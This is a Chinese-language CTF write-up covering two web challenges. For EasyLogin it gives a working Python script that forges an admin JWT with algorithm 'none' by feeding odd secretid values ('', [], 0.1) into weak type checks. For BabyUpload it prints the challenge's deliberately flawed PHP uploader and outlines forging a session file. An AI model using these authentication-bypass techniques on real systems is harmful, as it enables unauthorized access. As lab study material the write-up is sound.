hf爆0,被自己菜哭
官方wp
赵师傅wp

EasyLogin

f12 在发现/static/js/app.js发现提示 koa-static 路径配置填的web根目录,然后搜到一篇文章知道这样会泄露源码
读/app.js 可以读到 再读/controller/api.js 找到关键代码

1
2
3
4
5
6
7
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});

大概意思就是每次注册一个账号都会生成一个随机的密钥,然后放入secrets数组中,sid也就是对应密钥在数组中的键值
如果控制sid,让它在数组中找不到值,那密钥就是空的了
jsonwebtoken 库的已知缺陷:当 jwt secret 为空时,jsonwebtoken 会采用 algorithm none 进行解密,这也对应了题目描述
sid不能为null,不能=== undefined,还必须是数组长度范围内的值,实在是迷,绕不过去,太菜了,这里记录下三种方法
1.sid=”” 2.sid=[] 3.sid=0.1 (小数)
可以在控制台试一下,这三种都是满足条件的,太菜了嘤嘤嘤,都没想到弱类型,附官方一键getflag脚本

1
2
3
4
5
6
7
8
9
10
11
import jwt
import requests

base_url = "http://0.0.0.0:10087" # 题目地址
s = requests.Session()
res = s.post(base_url+'/api/register', data={"username": "hhh", "password": "hhh"})
token = jwt.encode({"secretid":0.333,"username":"admin","password":"admin"},algorithm="none",key="").decode('utf-8')
res = s.post(base_url+'/api/login', data={"username": "admin", "password": "admin", "authorization": token})

res = s.get(base_url+'/api/flag')
print(res.text)

BabyUpload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>

/var/babyctf/./sess_ 上传sess,file_exists函数特性,检测文件或目录是否存在,所以建个success.txt目录即可
这题有个坑点是不是默认的序列化引擎,要dowload读一下sess文件
还有safe_delete()没搜到这个函数,反正没啥用,阿里云上测试的时候到这停了,题目到这没问题